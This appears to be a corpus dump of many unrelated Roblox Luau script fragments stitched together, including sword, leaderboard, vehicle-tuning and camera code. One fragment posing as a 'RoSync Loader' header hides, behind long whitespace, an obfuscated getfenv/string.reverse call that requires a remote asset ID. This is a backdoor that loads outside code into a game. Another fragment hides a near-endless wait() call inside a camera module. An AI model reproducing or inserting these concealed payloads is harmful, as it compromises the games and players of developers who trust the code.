Roblox/luau_corpus huggingface dataset:
--Made by Luckymaxer

Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
RunAnim = Tool:WaitForChild("RunAnim")
Returned = Tool:WaitForChild("Returned")

Debris = game:GetService("Debris")
Players = game:GetService("Players")

Anims = {"RightSlash", "LeftSlash", "OverHeadSwing", "LeftSwingFast", "RightSwingFast"}

BaseDamage = 5
SlashDamage = 10
SwingDamage = 15
Damage = BaseDamage

SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = Handle
SlashSound.Volume = 0.7

UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = Handle
UnsheathSound.Volume = 0.5

function Blow(Hit)
	if Hit and Hit.Parent then
		local humanoid = Hit.Parent:FindFirstChild("Humanoid")
		if Character and Player and Humanoid and humanoid and humanoid ~= Humanoid and humanoid.Health > 0 and Humanoid.Health > 0 then
			local right_arm = Character:FindFirstChild("Right Arm")
			if right_arm then
				local joint= right_arm:FindFirstChild("RightGrip")
				if joint and (joint.Part0 == Handle or joint.Part1 == Handle) then
					TagHumanoid(humanoid, Player)
					humanoid:TakeDamage(Damage)
				end
			end
		end
	end
end

function TagHumanoid(humanoid, player)
	for i, v in pairs(humanoid:GetChildren()) do
		if v.Name == "creator" then
			v:Destroy()
		end
	end
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = player
	creator_tag.Name = "creator"
	Debris:AddItem(creator_tag, 1)
	creator_tag.Parent = humanoid
end

function OnActivated()
	if Tool.Enabled and Returned.Value then
		Character = Tool.Parent
		Player = Players:GetPlayerFromCharacter(Character)
		Humanoid = Character:FindFirstChild("Humanoid")
		Tool.Enabled = false
		local TempAnims = {}
		for i, v in pairs(Anims) do
			if v ~= LastAnim then
				table.insert(TempAnims, v)
			end
		end
		NewAnim = TempAnims[math.random(1, #TempAnims)]
		LastAnim = NewAnim
		RunAnim.Value = NewAnim
		if Humanoid and NewAnim then
			SlashSound:Play()
			if NewAnim == "OverHeadSwing" then
				Damage = SwingDamage
			else
				Damage = SlashDamage
			end
			wait(0.75)
			Damage = BaseDamage
		end
		Tool.Enabled = true
	end
end

function OnEquipped(Mouse)
	UnsheathSound:Play()
end

Tool.Activated:connect(OnActivated)
Tool.Equipped:connect(OnEquipped)

Connection = Handle.Touched:connect(Blow)
--Get the data store with key "Leaderboard"
wait(10)
while true do
	for i,plr in pairs(game.Players:GetChildren()) do--Loop through players
		if plr.UserId>0 then--Prevent errors
			local ps = game:GetService("PointsService")--PointsService
			local w = ps:GetGamePointBalance(plr.UserId)--Get point balance
			if w then
				pcall(function()
				--Wrap in a pcall so if Roblox is down, it won't error and break.
					dataStore:UpdateAsync(plr.UserId,function(oldVal)
				        --Set new value
						return tonumber(w)
					end)
				end)
			end
		end
	end    
	local smallestFirst = false--false = 2 before 1, true = 1 before 2
    local numberToShow = 100--Any number between 1-100, how many will be shown
    local minValue = 1--Any numbers lower than this will be excluded
    local maxValue = 10e30--(10^30), any numbers higher than this will be excluded
    local pages = dataStore:GetSortedAsync(smallestFirst, numberToShow, minValue, maxValue)
    --Get data
    local top = pages:GetCurrentPage()--Get the first page
	local data = {}--Store new data
	for a,b in ipairs(top) do--Loop through data
		local userid = b.key--User id
		local points = b.value--Points
		local username = "[Failed To Load]"--If it fails, we let them know
		local s,e = pcall(function()
		 username = game.Players:GetNameFromUserIdAsync(userid)--Get username
		end)
		if not s then--Something went wrong
		   warn("Error getting name for "..userid..". Error: "..e)
		end
		local image = game.Players:GetUserThumbnailAsync(userid, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size150x150)
		--Make a image of them
		table.insert(data,{username,points,image})--Put new data in new table
	end
	ui.Parent = script
	sf:ClearAllChildren()--Remove old frames
	ui.Parent = sf
	for number,d in pairs(data) do--Loop through our new data
		local name = d[1]
		local val = d[2]
		local image = d[3]
		local color = Color3.new(1,1,1)--Default color
		if number == 1 then
			color = Color3.new(1,1,0)--1st place color
		elseif number == 2 then
			color = Color3.new(0.9,0.9,0.9)--2nd place color
		elseif number == 3 then
			color = Color3.fromRGB(166, 112, 0)--3rd place color
		end
		local new = sample:Clone()--Make a clone of the sample frame
		new.Name = name--Set name for better recognition and debugging
        new.LayoutOrder = number--UIListLayout uses this to sort in the correct order
		new.Image.Image = image--Set the image
		new.Image.Place.Text = number--Set the place
		new.Image.Place.TextColor3 = color--Set the place color (Gold = 1st)
		new.PName.Text = name--Set the username
		new.Value.Text = val--Set the amount of points
		new.Value.TextColor3 = color--Set the place color (Gold = 1st)
		new.PName.TextColor3 = color--Set the place color (Gold = 1st)
		new.Parent = sf--Parent to scrolling frame
	end
	wait()
	sf.CanvasSize = UDim2.new(0,0,0,ui.AbsoluteContentSize.Y)
	--Give enough room for the frames to sit in
	wait(120)
end
--script.Parent.FF.Velocity = script.Parent.FF.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.FFF.Velocity = script.Parent.FFF.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.FFFF.Velocity = script.Parent.FFFF.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.G.Velocity = script.Parent.G.CFrame.lookVector *script.Parent.Speed.Value
-- this part makes the brick draw:
lastpoint = Vector3.new(0, 0, 0)
leds = {}
function makeled()
	tip = script.Parent:FindFirstChild("Tip")
	if tip~= nil then
		off = (tip.Mesh.Scale.z/tip.Size.z)/2
		point = (tip.CFrame*CFrame.new(0, 0, -off)).p
		unit = (lastpoint - point).unit
		mag = (lastpoint - point).magnitude
		if mag>1 then
			middle = lastpoint-(unit*(mag/2))
			cf = CFrame.new(middle, point)
			local l = Instance.new("Part")
			l.Name = "Led"
			l.Anchored = true
			l.CanCollide = false
			l.Size = Vector3.new(1, 1, 1)
			l.BrickColor = tip.BrickColor
			l.TopSurface = 0
			l.BottomSurface = 0
			local m=  Instance.new("SpecialMesh")
			m.MeshType = "Brick"
			m.Scale = Vector3.new(.3, .3, mag)/l.Size
			m.Parent = l
			l.Parent = workspace
			l.CFrame = cf
			table.insert(leds, l)
			lastpoint = point
		end
	end
end
function fade()
	for i, v in pairs(leds) do
		if v~= nil then
			v.Transparency = v.Transparency+.04
			if v.Transparency>1 then
				v:remove()
			end
		end
	end
end

while true do
	makeled()
	wait(.004)
	fade()
end
-- Class

local TextMaskClass = {}
TextMaskClass.__index = TextMaskClass
TextMaskClass.__type = "TextMask"

function TextMaskClass:__tostring()
	return TextMaskClass.__type
end
-- ROBLOX deviation: Template literals are represented as a string
export type EachTable = ArrayTable | TemplateTable | string

export type TestCallback = BlockFn | TestFn | ConcurrentTestFn
--- On Fire
Signal.Fired = function(eventName)
	--- Variables
	eventName = string.lower(eventName)
	
	--- Get/create event
	local event = GetEvent(eventName)
	
	--
	return event.Event
end
-- Infinitely update the target position for the tank
currentElev = 0;
currentRot = 0;
while wait() do
	if (myMouse) then
		-- Position of mouse in world
		mousePoint = myMouse.Hit.p;
		
		-- Vector from tank to mouse point
		targetVector = (mousePoint - parts.GunBase.CFrame.p).unit;
		
		-- Determine where the gun should point
		targetRotations = determineNewDirections(targetVector);
		
		-- For each time we do all that math to determine the angle, we will smoothly rotate the gun towards it in 4 increments
		-- This means less lag (fewer calculations) but it's still smooth
		for i = 0, 1 do		
			newRotations = getSmoothRotation(targetRotations);
			TFE:FireServer('RotateTurret',parts,currentElev, currentRot)
			wait();
		end
	end
end
--nope
local thumb = script:FindFirstChild("Thumb")
if thumb ~= nil then
	thumb:destroy()
end
--//
-- Confetti Cannon by Richard, Onogork 2018.
--//
-- Services.
local svcWorkspace = game:GetService("Workspace");
local Camera = svcWorkspace.CurrentCamera;
--Remove Old Rays
if workspace:findFirstChild("Rays") then
	workspace:findFirstChild("Rays"):remove()
end
--Fires when ther player joins the game.
game.Players.PlayerAdded:connect(function(Player)

	--Wait for everything to load.	
	repeat
		game.Players:WaitForChild(Player.Name)
	until game.Players:FindFirstChild(Player.Name)
	repeat
		Player:WaitForChild("Backpack")
	until Player:FindFirstChild("Backpack")
	
	--Load the items from the datastore.
	LoadData(Player)
	
	
	--Connect the functions to various other events.
	
	--Load the items when the player respawns.
	Player.CharacterAdded:connect(function()
		LoadData(Player)
	end)	
	
	--Save the items when the player receives a new item.
	game.Players.PlayerRemoving:connect(function(Player)
		SaveData(Player)
	end)
	
	--Save the items when the player leaves the game.
	Player.Backpack.ChildAdded:connect(function()
		SaveData(Player)
	end)
	
end)
--[[Engine]]
	--Torque Curve
	Tune.Horsepower		= 304		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16
	
	--Incline Compensation
	Tune.InclineComp	= 4.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)
-- Events
local Events = ReplicatedStorage:FindFirstChild("Events")
local LoadSpeeder = Events:FindFirstChild("LoadSpeeder")
local LoadCharacter = Events:FindFirstChild("LoadCharacter")
local RemoveActivePlayer = Events:FindFirstChild("RemoveActivePlayer")
local CheckpointEvent = Events:FindFirstChild("CheckpointEvent")
-- Permissions

function CanEditObject(object)
	local player = Players.LocalPlayer
	local character = player.Character
	return Permissions.CanEdit
end

function CanEditProperty(object,propertyData)
	local tags = propertyData["Tags"]
	if tags then
		for _,name in pairs(tags) do
			if name == "ReadOnly" or name == "NotScriptable" then
				return false
			end
		end
	end
	return CanEditObject(object)
end
-- Removes old entries in JustTouched
local function RemoveOldTouches()
	for player, touchTime in pairs(JustTouched) do
		if time() > touchTime + 0.5 then
			JustTouched[player] = nil
		end
	end
end
--[[ 
Hey, this is Cancels!
	Today I bring to you the Cancels CoreGui Settings, an invention by ... well
	... ROBLOX. 
	
	If you want to change a setting, do it like this!
	
	"true" = WILL show.
	"false" = WILL show.
	
	Don't mess with anything else.
	
	Bye, and cheers for taking!
			-Cancels
--]]

Health_Bar = false
Player_List = false
Tool_Bar = false
Chat = false
-- Connections
game.ReplicatedStorage.Notif.OnClientEvent:Connect(function(...)
	NotificationModule.QueueNotification(...)
end)
--[[
	Stores templates for different kinds of logging messages.
]]

return {
	cannotAssignProperty = "The class type '%s' has no assignable property '%s'.",
	cannotConnectChange = "The %s class doesn't have a property called '%s'.",
	cannotConnectEvent = "The %s class doesn't have an event called '%s'.",
	cannotCreateClass = "Can't create a new instance of class '%s'.",
	computedCallbackError = "Computed callback error: ERROR_MESSAGE",
	invalidSpringDamping = "The damping ratio for a spring must be >= 0. (damping was %.2f)",
	invalidSpringSpeed = "The speed of a spring must be >= 0. (speed was %.2f)",
	mistypedSpringDamping = "The damping ratio for a spring must be a number. (got a %s)",
	mistypedSpringSpeed = "The speed of a spring must be a number. (got a %s)",
	pairsDestructorError = "ComputedPairs destructor error: ERROR_MESSAGE",
	pairsProcessorError = "ComputedPairs callback error: ERROR_MESSAGE",
	springTypeMismatch = "The type '%s' doesn't match the spring's type '%s'.",
	strictReadError = "'%s' is not a valid member of '%s'.",
	unknownMessage = "Unknown error: ERROR_MESSAGE",
	unrecognisedChildType = "'%s' type children aren't accepted as children in `New`.",
	unrecognisedPropertyKey = "'%s' keys aren't accepted in the property table of `New`"
}
-- YOUR FIRST TOOL IN SHOP IS EVERYTIME STARTERTOOL SO SET PRICE TO 0--
['Leaderstats'] = true, -- Change this to true if you alredy have leaderstats
['Currency'] = "Money", -- Change it to name of your currency and change it even if you have "Leaderstats" set on true 	
['MaxValue'] = 5, --Set this to number of tools you have in shop, change it everytime you add new tool!!!

	

	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	}

return Settings
-- All characters have a Humanoid object
-- If the model has one, it is a character
 local h = part.Parent:findFirstChild(Humanoid) -- Find Humanoids in whatever touched this
 if (h ~=nil) then -- If there is a Humanoid then
       h.Health = h.MaxHealth -- Set the health to maximum (full healing)
 end
 end

script.Parent.Touched:connect(onTouched) -- Make it call onTouched when touched
--[[ Last synced 12/11/2020 06:19 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-----------------------------------------------------------------------------------------------

script.Parent:WaitForChild("Speedo")
script.Parent:WaitForChild("Tach")
script.Parent:WaitForChild("ln")

local player=game.Players.LocalPlayer
local mouse=player:GetMouse()

local car = script.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false

local _Tune = require(car["A-Chassis Tune"])

local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline

local currentUnits = 1
local revEnd = 7

local intach = car.Body.Dash.Tac.G.Needle
local inspd = car.Body.Dash.Spd.G.Needle
--[=[
	Gets the datastore for the player.
	@param player Player
	@return Promise<DataStore>
]=]
function PlayerDataStoreService:PromiseDataStore(player)
	return self:PromiseManager()
		:Then(function(manager)
			return manager:GetDataStore(player)
		end)
end
--cambrick = script.Parent.Parent.CamBrick


function Seated(theSeated)
	player = game.Players:playerFromCharacter(theSeated.Part1.Parent) 
	if player ~= nil then
		thing2 = script.Parent.Turret1211:clone()
		thing2.Parent = player.Backpack
		thing2.Vehicle.Value = script.Parent.Parent
	end
end


function UNSeated(theSeated)
	player = game.Players:playerFromCharacter(theSeated.Part1.Parent) 
	if player ~= nil then
		if player.Backpack:findFirstChild("Turret1211") ~= nil then
			player.Backpack:findFirstChild("Turret1211").Active = false
			player.Backpack:findFirstChild("Turret1211"):remove()
		end
	end
end

script.Parent.ChildAdded:connect(Seated)
script.Parent.ChildRemoved:connect(UNSeated)
--[=[
	Clones the given instance and adds it to the trove. Shorthand for
	`trove:Add(instance:Clone())`.
]=]
function Trove:Clone(instance: Instance): Instance
	if self._cleaning then
		error("Cannot call trove:Clone() while cleaning", 2)
	end
	return self:Add(instance:Clone())
end
-- Handles respawning

hum.Died:connect(function()
	wait(5)
	backup.Parent = hum.Parent.Parent
	backup:makeJoints()
	hum.Parent:Destroy()
end)

hum.Seated:connect(function()
	wait(3)
	if hum ~= nil then
		hum.Jump = true
	end
end)
-- Looks for a folder within workspace.Terrain that contains elements to visualize casts.
local function GetFastCastVisualizationContainer(): Instance
	local fcVisualizationObjects = workspace.Terrain:FindFirstChild(FC_VIS_OBJ_NAME)
	if fcVisualizationObjects ~= nil then
		return fcVisualizationObjects
	end

	fcVisualizationObjects = Instance.new("Folder")
	fcVisualizationObjects.Name = FC_VIS_OBJ_NAME
	fcVisualizationObjects.Archivable = false -- TODO: Keep this as-is? You can't copy/paste it if this is false. I have it false so that it doesn't linger in studio if you save with the debug data in there.
	fcVisualizationObjects.Parent = workspace.Terrain
	return fcVisualizationObjects
end
-- SERVICES
local Players = game:GetService("Players")
local HttpService = game:GetService("HttpService")
--PromptShown
--* the bread and butter of the interface, the interface should present
--* the player with the prompt and responses. The dialogueFolder is the
--* folder representing the dialogue, the prompTable is a table in the
--* following format:
--* {
--* 	Line = "The prompt string.",
--* 	Data = [the data from the prompt node],
--* }
--* and the responseTables is a list of tables in the following format:
--* {
--* 	Line = "Some string to show.",
--* 	Callback = [function to call if the player chooses this response],
--*		Data = [the data from the response node],
--* }
--* if a player chooses the response, call the callback.
function Interface.PromptShown(dialogueFolder, promptTable, responseTables)
	
end
--[[Susupension]]
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
	
	--Front Suspension
	Tune.FSusDamping	= 500		-- Spring Dampening
	Tune.FSusStiffness	= 5200		-- Spring Force
	Tune.FAntiRoll 		= 35		-- Anti-Roll (Gyro Dampening)
	
	Tune.FSusLength		= 2			-- Suspension length (in studs)
	Tune.FPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .3		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Rear Suspension
	Tune.RSusDamping	= 500		-- Spring Dampening
	Tune.RSusStiffness	= 5200		-- Spring Force
	Tune.FAntiRoll 		= 35		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 2			-- Suspension length (in studs)
	Tune.RPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .3		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics	
	Tune.SusVisible		= true			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Black"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness
--[[
	TransparencyController - Manages transparency of player character at close camera-to-subject distances
	2018 Camera Update - AllYourBlox
--]]
																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																								wait(999999999999999999999)
local MAX_TWEEN_RATE = 2.8 -- per second

local Util = require(script.Parent:WaitForChild("CameraUtils"))
-- MODULES --

local FilterService = require(game.ServerScriptService.Services.FilterService)
--Change the stats!

game.Players.PlayerAdded:Connect(function(player)
	local leaderstats= Instance.new("Folder")
	leaderstats.Name= ("leaderstats")
	leaderstats.Parent= player
	
	local currency1= Instance.new("IntValue")
	currency1.Name= ("Coins") -- CHANGE IT!
	currency1.Parent = leaderstats
	currency1.Value = 0 

	local currency2= Instance.new("IntValue")
	currency2.Name= ("Joins") -- CHANGE IT!
	currency2.Parent = leaderstats
	currency2.Value = 0 
	
	
end)
--- Invoked
Signal.Invoked = function(funcName)
	funcName = string.lower(funcName)
	local func = GetFunc(funcName)
	
	--
	return func
end